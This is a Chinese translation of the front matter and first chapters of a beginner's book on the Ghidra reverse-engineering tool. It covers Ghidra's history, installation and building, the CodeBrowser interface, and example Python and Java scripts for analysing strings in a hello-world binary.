Ghidra-软件逆向初学者指南-全-

Ghidra 软件逆向初学者指南(全)

原文:annas-archive.org/md5/709a9fb1cf304b1b3ca6b63ac4c0dbde

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

本书是一本 Ghidra 逆向工程工具的实用指南。在书中,你将从零开始学习如何使用 Ghidra 进行不同的工作,如恶意软件分析和二进制审计。随着初始章节的深入,你还将学习如何使用 Ghidra 脚本自动化那些耗时的逆向工程任务,并如何查阅文档以解决疑问并自行扩展知识。

在阅读了初始章节后,一旦你成为 Ghidra 的高级用户,你将学习如何扩展此逆向工程工具的功能,支持新的图形用户界面插件、二进制格式、处理器模块等。在这一部分书籍后,你将获得 Ghidra 开发技能,能够调试 Ghidra 并根据自己的需要开发功能,扩展 Ghidra。

接下来,有一整章内容专门讲解如何为 Ghidra 社区做贡献,在这里你将学习如何将自己的代码、反馈、发现的漏洞等贡献给国家安全局NSA)项目,并与其他社区成员互动。

本书的最后一章将介绍高级逆向工程话题,带你进入一个极具趣味的世界,激发你思考可以开发的新功能,以改进 Ghidra 逆向工程工具。

本书的读者对象

本书的读者对象包括逆向代码工程师、恶意软件分析师、漏洞猎人、渗透测试人员、漏洞开发人员、法医实践者、安全研究人员和网络安全学生。事实上,任何希望通过减少学习曲线并开始编写自己工具来学习 Ghidra 的人,肯定会享受这本书并实现他们的目标。

本书的内容

第一章Ghidra 入门,带你回顾 Ghidra 的历史并从用户的角度概述该程序。

第二章使用 Ghidra 脚本自动化逆向工程任务,解释了如何使用 Ghidra 脚本自动化逆向工程任务并介绍了脚本开发。

第三章Ghidra 调试模式,介绍了如何设置 Ghidra 开发环境,如何调试 Ghidra,以及关于 Ghidra 调试模式漏洞的所有内容。

第四章使用 Ghidra 扩展,为你提供开发 Ghidra 扩展的背景知识,并展示如何安装和使用它。

第五章使用 Ghidra 逆向恶意软件,通过逆向分析一个真实的恶意软件样本,展示如何使用 Ghidra 进行恶意软件分析。

第六章脚本化恶意软件分析,通过脚本化 Java 和 Python 两种语言,继续上一章,分析在恶意软件样本中发现的 Shellcode。

第七章使用 Ghidra 无头分析器,解释了 Ghidra 无头分析器,并将这一知识应用于通过本章开发的脚本获取的一组恶意软件样本。

第八章审计程序二进制文件,介绍了如何使用 Ghidra 发现内存破坏漏洞及其利用方法。

第九章脚本化二进制审计,继续上一章,讲解如何通过脚本自动化漏洞猎捕过程,充分利用强大的 PCode 中间表示。

第十章开发 Ghidra 插件,通过解释 Ghidra 插件扩展是充分利用 Ghidra 已实现功能的方式,深入探讨了 Ghidra 扩展开发。

第十一章加入新的二进制格式支持,展示了如何编写 Ghidra 扩展来支持新的二进制格式,并以一个实际的文件格式为例。

第十二章分析处理器模块,讨论了如何使用 SLEIGH 处理器规范语言编写 Ghidra 处理器模块。

第十三章贡献给 Ghidra 社区,解释了如何通过社交网络、聊天工具与社区互动,并如何贡献自己的开发、反馈、错误报告、评论等。

第十四章为高级逆向工程扩展 Ghidra,介绍了高级逆向工程的主题和工具,如 SMT 求解器、微软 Z3、静态和动态符号执行、LLVM 和 Angr,并解释了如何将它们与 Ghidra 结合使用。

为了充分利用本书

读者应该具备足够的汇编语言、C 语言、Python 和 Java 语言的理解,以便阅读书中的代码。了解操作系统内部、调试器和反汇编器的知识会有所帮助,但并非严格必要:

所需的软件列在相关章节的技术要求部分。

下载示例代码文件

你可以从 GitHub 下载本书的示例代码文件,链接为github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners。如果代码有更新,将会在现有的 GitHub 库中进行更新。

我们还提供了其他代码包,来自我们丰富的书籍和视频目录,访问 github.com/PacktPublishing/ 查看吧!

实战代码

本书的实战代码视频可以在 bit.ly/3ot3YAT 上观看。

下载彩色图像

我们还提供了一个 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。你可以在这里下载: static.packt-cdn.com/downloads/9781800207974_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

文本中的代码:表示文本中的代码词汇、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。例如:“compressed_malware_samples,即恶意软件样本下载的位置。”

代码块如下所示:

00  @PluginInfo(
01    status = PluginStatus.STABLE,
02    packageName = ExamplesPluginPackage.NAME,
03    category = PluginCategoryNames.EXAMPLES,
04    shortDescription = "Plugin short description.",
05    description = "Plugin long description goes here."
06  )

任何命令行输入或输出都如下所示:

>>> s = Solver()
>>> s.add(y == x + 5)
>>> s.add(y>x)
>>> s.check()
sat
>>> s.model()
[x = 0, y = 5]

粗体:表示新术语、重要词汇或你在屏幕上看到的词汇。例如,菜单或对话框中的词汇在文本中会像这样出现。这里是一个示例:“我们首先用CodeBrowser打开它,并进入入口点。”

提示或重要注意事项

如此显示。

联系我们

我们始终欢迎读者的反馈。

一般反馈:如果你对本书的任何部分有疑问,请在邮件主题中注明书名,并将邮件发送至 customercare@packtpub.com。

勘误:尽管我们已经尽一切努力确保内容的准确性,但错误仍然可能发生。如果你发现本书中有错误,感谢你报告给我们。请访问 www.packtpub.com/support/errata,选择你的书籍,点击勘误提交表单链接,并填写详细信息。

盗版:如果你在互联网上发现任何我们作品的非法复制品,感谢你提供相关位置地址或网站名称。请通过电子邮件与我们联系,邮箱地址为 copyright@packt.com,并附上相关材料的链接。

如果你有兴趣成为作者:如果你在某个主题方面有专长,并且有兴趣撰写或参与书籍的编写,请访问 authors.packtpub.com。

读者评论

请留下评论。在阅读并使用完本书后,何不在你购买书籍的网站上留下评论?潜在读者可以看到并参考你的客观意见来做出购买决策,我们也能了解你对我们产品的看法,而我们的作者也可以看到你对他们书籍的反馈。谢谢!

欲了解更多关于 Packt 的信息,请访问 packt.com。

第一部分:Ghidra 简介

本部分旨在介绍 Ghidra 及其历史、项目结构、扩展开发、脚本以及作为开源软件,如何进行贡献。

本部分包含以下章节:

  • 第一章Ghidra 入门

  • 第二章使用 Ghidra 脚本自动化 RE 任务

  • 第三章Ghidra 调试模式

  • 第四章使用 Ghidra 扩展

第一章:第一章:开始使用 Ghidra

在本章节中,我们将从某些方面概述 Ghidra。开始之前,了解如何获取和安装程序会非常方便。如果你只是想安装程序的发布版本,这显然是一件简单且琐碎的事情。但我猜你可能想更深入地了解这个程序。在这种情况下,我可以提前告诉你,你可以通过源代码自行编译该程序。

由于 Ghidra 的源代码是公开的,并且可以修改和扩展,你可能也会对它的结构、包含的代码片段类型等感兴趣。这是一个发现 Ghidra 提供给我们的巨大可能性的绝佳机会。

从逆向工程师的角度回顾 Ghidra 的主要功能也是很有趣的。这将激发你对这个工具的兴趣,因为它有自己的独特性,而这正是 Ghidra 最有趣的地方。

在本章中,我们将涵盖以下主要主题:

  • WikiLeaks Vault 7

  • Ghidra 与 IDA 以及其他许多竞争者的比较

  • Ghidra 概述

技术要求

包含本章所需所有代码的 GitHub 仓库可以通过以下链接找到:

github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners

查看以下链接,观看《代码实战》视频:bit.ly/3qD1Atm

WikiLeaks Vault 7

2017 年 3 月 7 日,WikiLeaks 开始泄露 Vault 7,成为美国 中央情报局CIA)最大的一次机密文档泄漏。这次泄露包含了 24 部分的秘密网络武器和间谍技术,分别命名为 Year Zero、Dark Matter、Marble、Grasshopper、HIVE、Weeping Angel、Scribbles、Archimedes、AfterMidnight、Assassin、Athena、Pandemic、Cherry Blossom、Brutal Kangaroo、Elsa、OutlawCountry、BothanSpy、Highrise、UCL/Raytheon、Imperial、Dumbo、CouchPotato、ExpressLane、Angelfire 和 Protego。

虽然 2006 至 2009 年期间担任 CIA 署长、1999 至 2005 年担任 NSA 署长的迈克尔·文森特·海登(Michael Vincent Hayden)作为发言人没有确认或否认这一巨大泄密的真实性,但一些 NSA 的情报官员曾匿名泄露了这些材料。

Ghidra 的存在是在 Vault 7:Year Zero 的第一部分泄露出来的。这部分内容包括了从美国中央情报局(CIA)位于弗吉尼亚州兰利的网络情报中心窃取的大量文件和文档。泄露的内容涉及 CIA 的恶意软件库、零日漏洞武器化利用,以及苹果 iPhone、谷歌 Android 设备、微软 Windows 设备,甚至三星电视如何被变成隐蔽的麦克风。

Ghidra 在此次泄露中被提及三次 (wikileaks.org/ciav7p1/cms/index.html),展示了如何安装 Ghidra、如何使用 Ghidra 进行 64 位内核缓存的手动分析的逐步教程(附截图),以及当时可用的最新版本 Ghidra 7.0.2。

NSA 发布

正如在 2019 年 RSA 大会期间宣布的,NSA 网络安全高级顾问 Rob Joyce 解释了 Ghidra 独特的能力和功能,在名为 Get your free NSA reverse engineering tool 的会议中,他还发布了 Ghidra 的程序二进制文件。

在这次会议中,解释了以下一些功能:

  • 团队协作单一项目功能

  • 扩展和扩展 Ghidra 的能力

  • 通用处理器模型,也称为SLEIGH

  • 两种工作模式:交互式和非图形用户界面模式

  • Ghidra 强大的分析功能

最终,在 2019 年 4 月 4 日,NSA 在 GitHub 上发布了 Ghidra 的源代码 (github.com/NationalSecurityAgency/ghidra),并在 Ghidra 网站上发布了 Ghidra 的发布版本,你可以在这里下载可以使用的 Ghidra 版本:ghidra-sre.org。该网站上可用的第一个 Ghidra 版本是 Ghidra 9.0。Ghidra 网站可能对美国以外的访问者不可用;如果是这种情况,你可以使用 VPN 或像 HideMyAss 这样的在线代理来访问 (www.hidemyass.com/)。

不幸的是,几小时后,@hackerfantastic(马修·希基)于 2019 年 3 月 6 日凌晨 1:20 发布了第一个 Ghidra 漏洞。他在 Twitter 上说了以下内容:

Ghidra 在调试模式下打开 JDWP,并监听端口 18001,你可以用它远程执行代码(人脸掌击)。要修复这个问题,需要将 support/launch.sh 文件的第 150 行从 * 改为 127.0.0.1 github.com/hackerhouse-opensource/exploits/blob/master/jdwp-exploit.txt

然后,关于 NSA 和 Ghidra 的许多疑问浮现出来。然而,考虑到 NSA 的网络间谍能力,你认为 NSA 需要在其软件中包括后门来黑客攻击自己的用户吗?

显然,不需要。他们不需要这样做,因为他们已经有了网络武器。

使用 Ghidra 时你会感到很舒适;可能,NSA 只是想做一些有荣誉感的事情来改善自己的形象,而且既然 Ghidra 的存在已经被 WikiLeaks 泄露,那有什么比在 RSA 大会发布它并将其作为开源发布更好的方式呢?

Ghidra 与 IDA 及其他许多竞争者的对比

即使你已经掌握了强大的逆向工程框架,如 IDA、Binary Ninja 或 Radare2,仍然有充分的理由开始学习 Ghidra。

没有单一的逆向工程框架是终极的。每个逆向工程框架都有其优点和缺点。有些框架甚至无法相互比较,因为它们是以不同的理念设计的(例如,基于 GUI 的框架与基于命令行的框架)。

另一方面,你会看到这些产品一直在相互竞争并互相学习。例如,IDA Pro 7.3 引入了 undo 功能,而该功能之前是由其竞争对手 Ghidra 提供的。

在以下截图中,你可以看到官方 Twitter 账号 @GHIDRA_RE 对 IDA Pro 的 undo 功能的幽默回应:

图 1.1 – IDA Pro 7.3 添加了撤销功能,以与 Ghidra 竞争

图 1.1 – IDA Pro 7.3 添加了撤销功能,以与 Ghidra 竞争

框架之间的差异会因竞争而有所变化,但我们可以提到 Ghidra 当前的一些优点:

  • 它是开源且免费的(包括其反编译器)。

  • 它支持许多架构(这可能是你正在使用的框架尚未支持的)。

  • 它可以在一个项目中同时加载多个二进制文件。这个功能使你可以轻松地在多个相关二进制文件(例如,一个可执行二进制文件及其库)上执行操作。

  • 它通过设计支持协作式逆向工程。

  • 它支持大容量固件镜像(1 GB+)且没有问题。

  • 它有很棒的文档,其中包括示例和课程。

  • 它允许对二进制文件进行版本跟踪,帮助你在不同版本的二进制文件之间匹配函数、数据及其标记。

总之,建议尽可能学习多种框架,以便了解并利用每个框架的优势。从这个意义上说,Ghidra 是一个你必须了解的强大框架。

Ghidra 概述

类似于 RSA 大会的做法,我们将在此提供 Ghidra 概述,以展示该工具及其功能。你很快就会意识到 Ghidra 的强大,以及为什么这个工具不仅仅是另一个开源的逆向工程框架。

在撰写本书时,Ghidra 的最新可用版本是 9.1.2,可以从本章前面部分提到的官方网站下载。

安装 Ghidra

建议通过点击红色的 Download Ghidra v9.1.2 按钮下载 Ghidra 的最新版本(ghidra-sre.org/),但如果你想下载旧版本,需要点击 Releases

图 1.2 – 从官方网站下载 Ghidra

图 1.2 – 从官方网站下载 Ghidra

下载 Ghidra 压缩文件(ghidra_9.1.2_PUBLIC_20200212.zip)并解压后,你将看到以下文件结构:

图 1.3 – 解压后的 Ghidra 9.1.2 结构

图 1.3 – 解压后的 Ghidra 9.1.2 结构

内容可以描述如下(来源:ghidra-sre.org/InstallationGuide.html):

  • docs:Ghidra 文档和一些非常有用的资源,如适用于各级别的 Ghidra 学习课程、备忘单以及逐步安装指南

  • Extensions:可选的 Ghidra 扩展,允许您增强其功能并与其他工具集成

  • Ghidra:Ghidra 程序本身

  • GPL:独立的 GPL 支持程序

  • licenses:包含 Ghidra 使用的许可证

  • server:包含与 Ghidra 服务器安装和管理相关的文件

  • support:允许您在高级模式下运行 Ghidra,并控制它的启动方式,包括将其启动以进行调试

  • ghidraRun:用于在 Linux 和 iOS 上启动 Ghidra 的脚本

  • ghidraRun.bat:用于在 Windows 上启动 Ghidra 的批处理脚本

  • LICENSE:Ghidra 许可证文件

除了下载预编译的 Ghidra 发行版本外,您还可以根据下一节所述自行编译该程序。

自行编译 Ghidra

如果您希望自行编译 Ghidra,可以从以下 URL 下载源代码:github.com/NationalSecurityAgency/ghidra

然后,您可以使用 Gradle 运行以下命令来构建它:

gradle --init-script gradle/support/fetchDependencies.gradle init
gradle buildGhidra
gradle eclipse
gradle buildNatives_win64
gradle buildNatives_linux64
gradle buildNatives_osx64
gradle sleighCompile
gradle eclipse -PeclipsePDE
gradle prepDev

这将生成一个压缩文件,其中包含 Ghidra 的编译版本:

/ghidra/build/dist/ghidra_*.zip

在启动 Ghidra 之前,请确保您的计算机符合以下要求:

  • 4 GB 内存

  • 1 GB 存储空间(用于安装 Ghidra 二进制文件)

  • 强烈建议使用双显示器

由于 Ghidra 是用 Java 编写的,如果在安装 Java 11 64 位运行时和开发工具包之前执行 Ghidra,可能会显示以下错误消息:

  • 当未安装 Java 时,您将看到以下内容:

    "Java runtime not found..."
    
  • 当缺少 Java 开发工具包JDK)时,您将看到以下内容:

图 1.4 – 缺少 JDK 错误

图 1.4 – 缺少 JDK 错误

因此,如果收到以下消息中的任何一条,请从以下来源之一下载 JDK:

安装 Ghidra 后,你可以通过在 Linux 和 iOS 上使用 ghidraRun 或在 Windows 上使用 ghidraRun.bat 启动它。

Ghidra 功能概述

在本节中,我们将概述一些 Ghidra 的基本功能,以便理解程序的整体功能。这也是一个很好的入门点,帮助你熟悉 Ghidra。

创建一个新的 Ghidra 项目

正如你所注意到的,与其他逆向工程工具不同,Ghidra 不直接操作文件。而是,Ghidra 操作项目。让我们通过点击 文件 | 新建项目… 来创建一个新项目。你也可以通过按 Ctrl + N 快捷键更快地完成此操作(完整的 Ghidra 快捷键列表可在 ghidra-sre.org/CheatSheet.html 上找到,也可以在 Ghidra 的文档目录中找到):

图 1.5 – 创建一个新的 Ghidra 项目

图 1.5 – 创建一个新的 Ghidra 项目

此外,项目可以是非共享的或共享的项目。由于我们想分析一个不与其他逆向工程师合作的 hello world 程序,我们将选择 hello world) 并选择存储位置:

图 1.6 – 选择项目名称和目录

图 1.6 – 选择项目名称和目录

该项目由 hello world.gpr 文件和 hello world.rep 文件夹组成:

图 1.7 – Ghidra 项目结构

图 1.7 – Ghidra 项目结构

Ghidra 项目(*.gpr 文件)只能由单个用户打开。因此,如果你尝试同时打开同一个项目两次,使用 hello world.lockhello world.lock~ 文件实现的并发锁将阻止你这样做,如下截图所示:

图 1.8 – Ghidra 项目已锁定

图 1.8 – Ghidra 项目已锁定

在接下来的章节中,我们将介绍如何向项目中添加二进制文件。

导入文件到 Ghidra 项目

我们可以开始向我们的 hello world 项目中添加文件。为了使用 Ghidra 分析一个极其简单的应用程序,我们将编译以下 C 语言编写的 hello world 程序(hello_world.c):

#include <stdio.h>
int main(){
	printf("Hello world.");
}

我们使用以下命令来编译它:

C:\Users\virusito\Desktop\hello_world> gcc.exe hello_world.c
C:\Users\virusito\>\

让我们分析生成的 Microsoft Windows 可移植可执行文件:hello_world.exe

让我们将我们的 hello world.exe 文件导入项目中;为此,我们需要进入 文件 | 导入文件。或者,我们可以按 I 键:

图 1.9 – 导入文件到 Ghidra 项目

图 1.9 – 导入文件到 Ghidra 项目

Ghidra 自动识别了hello_world.exe程序为 32 位架构的 x86 可移植执行二进制文件。由于成功识别,我们可以点击OK继续。导入后,你将看到文件的总结:

图 1.10 – Ghidra 项目文件导入结果总结

图 1.10 – Ghidra 项目文件导入结果总结

通过双击hello_world.exe文件或点击Tool Chest的绿色 Ghidra 图标,文件将被 Ghidra 打开并加载:

图 1.11 – 一个包含可移植执行文件的 Ghidra 项目

图 1.11 – 一个包含可移植执行文件的 Ghidra 项目

将文件导入项目后,你可以开始逆向工程它们。这是 Ghidra 的一个酷功能,允许你将多个文件导入到一个项目中,因为你可以对多个文件(例如可执行二进制文件及其依赖项)执行一些操作(例如搜索)。在接下来的部分中,我们将看到如何使用 Ghidra 分析这些文件。

执行和配置 Ghidra 分析

系统会询问你是否分析该文件,你可能会想回答,因为分析操作会识别函数、参数、字符串等。通常,你会希望让 Ghidra 为你获取这些信息。确实有很多分析配置选项。你可以通过点击每个选项查看它的描述;描述会显示在右上角的Description部分:

图 1.12 – 文件分析选项

图 1.12 – 文件分析选项

让我们点击Analyze来执行文件分析。然后,你将看到 Ghidra 的CodeBrowser窗口。如果你忘记分析某个内容,不要担心;你可以稍后重新分析程序(进入Analysis标签,然后选择Auto Analyze 'hello_world.exe'…)。

探索 Ghidra CodeBrowser

默认情况下,Ghidra CodeBrowser 具有一个非常合理的停靠窗口分布,如下截图所示:

图 1.13 – Ghidra 的 CodeBrowser 窗口

图 1.13 – Ghidra 的 CodeBrowser 窗口

让我们看看 CodeBrowser 默认是如何分布的:

  1. 与往常一样,在逆向工程框架中,默认情况下,Ghidra 会在屏幕中央显示文件的反汇编视图。

  2. 由于反汇编级别有时过于低级,Ghidra 集成了自己的反编译器,位于反汇编窗口的右侧。程序的主函数通过 Ghidra 签名被识别,然后自动生成了参数。Ghidra 还允许你在很多方面操作反编译后的代码。当然,文件的十六进制视图也可以在相应的标签中查看。这三个窗口(反汇编、反编译器和十六进制窗口)是同步的,提供了同一事物的不同视角。

  3. Ghidra 还允许你轻松地在程序中导航。例如,要跳转到另一个程序部分,你可以参考位于 CodeBrowser 左上角的程序树窗口。

  4. 如果你更喜欢导航到一个符号(例如,程序函数),那么就往下看,找到符号树窗格的位置。

  5. 如果你想处理数据类型,那么再往下看,找到数据类型管理器

  6. 由于 Ghidra 支持脚本化逆向工程任务,脚本结果会显示在底部的相应窗口中。当然,书签标签也可以在相同位置使用,让你创建文档齐全且有条理的书签,以便快速访问任何内存位置。

  7. Ghidra 还在顶部提供了一个快速访问栏。

  8. 在右下角,第一个字段显示当前地址。

  9. 紧接着当前地址,当前函数会显示出来。

  10. 除了当前地址和当前函数外,当前的反汇编行也会显示出来,以完成上下文信息。

  11. 最后,在 CodeBrowser 的最上方,主工具栏位于此处。

现在你已经了解了 Ghidra 的默认视角,是时候学习如何自定义它了。我们将在接下来的部分讨论这一内容。

自定义 Ghidra

这是 Ghidra 的默认视角,但你也可以修改它。例如,你可以通过点击窗口菜单并选择一个感兴趣的窗口,来向 Ghidra 添加更多窗口:

图 1.14 – Ghidra 窗口子菜单中的一些项目

图 1.14 – Ghidra 窗口子菜单中的一些项目

Ghidra 拥有许多强大的功能——例如,位于反汇编窗口右上角的工具栏可以让你通过移动字段、添加新字段、扩展反汇编列表中字段的大小等方式自定义反汇编视图:

图 1.15 – 反汇编列表配置

图 1.15 – 反汇编列表配置

它还允许你启用 Ghidra 的一个非常有趣的功能,即其中间表示或中间语言,称为PCode。它使你能够开发与汇编语言无关的工具,并以更舒适的语言开发自动化分析工具:

图 1.16 – 启用反汇编列表中的 PCode 字段

图 1.16 – 启用反汇编列表中的 PCode 字段

如果启用了,PCode 会在列表中显示。正如你很快会发现的那样,PCode 不太适合人类阅读,但有时它对于脚本化逆向工程任务来说更为高效:

图 1.17 – 启用 PCode 的反汇编列表

图 1.17 – 启用 PCode 的反汇编列表

发现更多 Ghidra 功能

Ghidra 还包含了一些在其他逆向工程框架中也能找到的强大功能。例如,像其他逆向工程框架一样,你也可以使用图形视图:

图 1.18 – 一个 hello world 程序的主函数的图形视图

图 1.18 – 一个 hello world 程序的主函数的图形视图

正如你所注意到的,Ghidra 有许多功能和窗口;我们不会在本章中覆盖所有内容,也不会修改和/或扩展所有功能。实际上,我们还没有提到所有内容。相反,我们将在接下来的章节中通过实践来学习它们。

摘要

在本章中,我们介绍了 Ghidra 的激动人心和独特的起源。接着,我们讲解了如何从源代码下载、安装并自行编译它。你还学会了如何解决问题以及如何向 Ghidra 开源项目报告新问题。

最后,你了解了 Ghidra 的结构和主要功能(其中一些尚未涉及)。现在,你可以自行探索并稍微实验一下 Ghidra 了。

本章帮助你理解了 Ghidra 的全貌,这对于接下来的章节将会有帮助,后续章节将更专注于具体细节。

在下一章中,我们将讲解如何通过使用、修改和开发 Ghidra 插件来自动化逆向工程任务。

问题

  1. 是否有一种逆向工程框架绝对比其他框架更好?Ghidra 在解决哪些问题方面优于大多数框架?请列举一些优点和缺点。

  2. 如何配置反汇编视图以启用 PCode?

  3. 反汇编视图和反编译视图有什么区别?

第二章:第二章:使用 Ghidra 脚本自动化逆向工程任务

在本章中,我们将讲解如何通过脚本化 Ghidra 来自动化逆向工程RE)任务。我们将首先回顾内置在工具中的大量且结构良好的 Ghidra 脚本库。这些几百个脚本通常足以满足主要的自动化需求。

一旦你了解了这个库,你可能还会想了解它是如何工作的。接下来,我们将概览 Ghidra 脚本类,以便理解其内部结构并获得一些背景知识,这对本章最后一部分会非常有帮助。

最后,你将学习如何开发自己的 Ghidra 脚本。为此,必须先了解 Ghidra API 的概览。幸运的是,你可以根据个人偏好选择使用 Java 或 Python,因为 Ghidra API 在这两种语言中的实现是相同的。

在本章中,我们将覆盖以下主要主题:

  • 探索 Ghidra 脚本库

  • 分析 Ghidra 脚本类和 API

  • 编写你自己的 Ghidra 脚本

技术要求

本章所需的所有代码可以在 GitHub 仓库找到:github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners/tree/master/Chapter02

查看以下视频,看看代码如何运行:bit.ly/3mZbdAm

使用和修改现有脚本

Ghidra 脚本允许你在分析二进制文件时自动化逆向工程任务。让我们从 hello world 程序的使用概述开始。我们这里的起点是一个加载到 Ghidra 代码浏览器中的 hello world 程序,如第一章Ghidra 功能概览部分所解释。

如本章引言中提到的,Ghidra 包含了一个真正的脚本库。要访问它,请进入窗口,然后选择脚本管理器。或者,点击以下截图中高亮显示的按钮:

图 2.1 – 快速访问栏中高亮显示的运行脚本按钮

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_02_001.jpg)

图 2.1 – 快速访问栏中高亮显示的运行脚本按钮

正如你在左侧的文件夹浏览器中看到的,这些脚本按文件夹分类,选择某个文件夹时会显示其中包含的脚本:

图 2.2 – 脚本管理器

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_02_002.jpg)

图 2.2 – 脚本管理器

在前面的截图中,当点击位于脚本管理器窗口右上角的任务列表图标时,将显示脚本目录的路径:

图 2.3 – 脚本目录

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_02_003.jpg)

图 2.3 – 脚本目录

这是一个非常好的起点,可以用来实验现有脚本。你可以通过 Ghidra 分析和编辑所有这些脚本,它将帮助你理解它们是如何工作的,以及如何根据你的需求进行调整。使用下图所示的高亮图标来编辑脚本或创建新脚本:

图 2.4 – 快速访问栏中高亮的编辑脚本和创建新脚本按钮

图 2.4 – 快速访问栏中高亮的编辑脚本和创建新脚本按钮

由于我们正在分析一个只会在屏幕上打印 hello worldhello world 程序,我们可以选择一个与字符串相关的 Ghidra 脚本,然后查看它如何加速分析。如下图所示,Python 和 Java 脚本在 Script Manager 中混合显示:

图 2.5 – Script Manager 中可用的与字符串相关的脚本

图 2.5 – Script Manager 中可用的与字符串相关的脚本

例如,RecursiveStringFinder.py 文件可以通过显示所有函数及其相关字符串来加速分析。它加速分析的原因是,字符串可以揭示一个函数的用途,而无需读取任何一行代码。

让我们执行前面提到的脚本,以 hello world 程序的 _mainCRTStartup() 函数作为输入(你需要将光标放在此函数上),同时在脚本控制台中查看输出。

如下图所示,RecursiveStringFinder.py 打印出一个缩进的(根据调用深度)函数列表,每个函数都包含其引用的字符串。

例如,_mainCRTStartup() 函数是第一个将被执行的函数(我们知道这一点是因为它的缩进;它是最靠左的那个)。之后,编译器引入的 __pei386_runtime_relocator() 函数将被调用。这个函数包含字符串 " Unknown pseudo relocation bit size %d. \n",我们知道它是一个字符串,因为有 ds 指示符。你可以看到,在一些由编译器引入的函数和字符串之后,_main() 函数包含了 "Hello world." 字符串,这揭示了我们的程序功能:

图 2.6 – 运行 RecursiveStringFinder.py 脚本时,在 Hello World 程序中得到的结果

图 2.6 – 运行 RecursiveStringFinder.py 脚本时,在 Hello World 程序中得到的结果

之前的脚本是用 Python 开发的,它使用 getStringReferences() 函数(第 04 行)获取引用某些内容的指令的操作数(第 07 行)(第 10 行)。当被引用的内容是数据,更准确地说是字符串(第 12-14 行)时,它会被添加到结果列表中,最终显示在脚本控制台中。

我们修改了这个脚本,在将字符串附加到 isAnInterestingString() 函数的结果列表时实现了过滤器(第 15 行),以决定是否将其附加到结果列表中(第 1620 行)。

假设你在分析的程序代码中寻找 URL,这在分析恶意软件时非常有用,因为它可以揭示攻击者的服务器。你只需要打开 strings 文件夹(该脚本处理字符串)。然后,打开 RecursiveStringFinder.py 脚本并向其中添加过滤条件,通过实现 isAnInterestingString() 函数(以下代码片段中的第 0002 行)。

一般来说,编写脚本之前要先检查是否已经有类似的脚本存在于 Ghidra 的工具库中:

00 def isAnInterestingString(string):
01     """Returns True if the string is interesting for us"""
02     return string.startswith("http")
03
04 def getStringReferences(insn):
05     """Get strings referenced in any/all operands of an 
06        instruction, if present"""
07     numOperands = insn.getNumOperands()
08     found = []
09     for i in range(numOperands):
10         opRefs = insn.getOperandReferences(i)
11         for o in opRefs:
12             if o.getReferenceType().isData():
13                 string = getStringAtAddr(o.getToAddress())
14                 if string is not None and \
15                              isAnInterestingString(string):
16                     found.append(StringNode(
17                                       insn.getMinAddress(),
18                                       o.getToAddress(), 
19                                       string))
20     return found

这个脚本可以很容易地修改为搜索代码中的 URL,这在分析恶意软件时非常有用。你只需要将 isAnInterestingString() 中的条件替换为合适的正则表达式。

前面的脚本是用 Python 编程语言开发的。如果你想尝试 Java,可以分析 TranslateStringsScript.java 中的代码。为了简洁,以下代码清单省略了导入部分:

00 public class TranslateStringsScript extends GhidraScript {
01
02   private String translateString(String s) {
03     // customize here
04     return "TODO " + s + " TODO";
05   }
06
07   @Override
08   public void run() throws Exception {
09
10     if (currentProgram == null) {
11       return;
12     }
13
14     int count = 0;
15
16     monitor.initialize(
17             currentProgram.getListing().getNumDefinedData()
18     );
19     monitor.setMessage("Translating strings");
20     for (Data data : DefinedDataIterator.definedStrings(
21                                       currentProgram,
22                                       currentSelection)) {
23       if (monitor.isCancelled()) {
24         break;
25       }
26       StringDataInstance str = StringDataInstance. \
27                                getStringDataInstance(data);
28       String s = str.getStringValue();
29       if (s != null) {
30 	      TranslationSettingsDefinition. \ 
31            TRANSLATION.setTranslatedValue(data,
32              translateString(s));
33
34          TranslationSettingsDefinition. \ 
35            TRANSLATION.setShowTranslated(data, true);
36          count++;
37          monitor.incrementProgress(1);
38       }
39     }
40     println("Translated " + count + " strings.");
41   }
42 }

前面的脚本允许你通过在程序中引用的字符串前后加上 TODO 字符串来修改这些字符串(第 04 行)。这个脚本在某些情况下很有用。例如,如果你需要解码大量的 Base64 编码字符串或破解类似的恶意软件混淆,可以修改 translateString() 函数,该函数负责获取输入字符串,应用某些转换并返回结果。

run() 函数是 Ghidra 脚本的主函数(第 08 行)。在这种情况下,首先将字符串计数器初始化为零(第 14 行),然后对于每个字符串(第 20 行),计数器会递增,同时产生字符串转换(第 3032 行)并在每次循环迭代中显示(第 3435 行)。

按照当前脚本的执行方式,它会通过在所有程序字符串前后添加 TODO 来进行修改。正如你在下面的截图中看到的,我们的 Hello world 字符串就是以这种方式被修改的。脚本还计算了转换过的字符串数量:

图 2.7 – 运行 TranslateStringsScript.java 处理 Hello World 程序的结果

图 2.7 – 运行 TranslateStringsScript.java 处理 Hello World 程序的结果

我们已经了解了如何使用现有的脚本,并且也知道如何将它们调整以满足我们的需求。接下来,我们将学习 Ghidra 脚本类是如何工作的。

脚本类

要开发一个 Ghidra 脚本,你需要点击 创建新脚本 选项,该选项可通过 脚本管理器 菜单找到。然后,你将能够选择使用哪种编程语言:

图 2.8 – 新建脚本时的编程语言对话框

图 2.8 – 新建脚本时的编程语言对话框

如果你决定使用 Java,脚本的骨架将由三部分组成。第一部分是注释:

//TODO write a description for this script
//@author 
//@category Strings
//@keybinding 
//@menupath 
//@toolbar 

有些注释显而易见,但有些值得特别提及。例如,@menupath 允许你指定脚本启用时应该放置在菜单中的位置:

图 2.9 – 启用脚本与 Ghidra 集成

图 2.9 – 启用脚本与 Ghidra 集成

请注意,路径必须由 . 字符分隔:

//@menupath Tools.Packt.Learn Ghidra script

前面的源代码注释生成了与 Ghidra 菜单集成的脚本如下:

图 2.10 – 将新脚本集成到 Ghidra 后的结果

图 2.10 – 将新脚本集成到 Ghidra 后的结果

下一部分是导入,其中最重要且绝对必要的是 GhidraScript。所有脚本必须继承此类并实现 run() 方法(这是主方法):

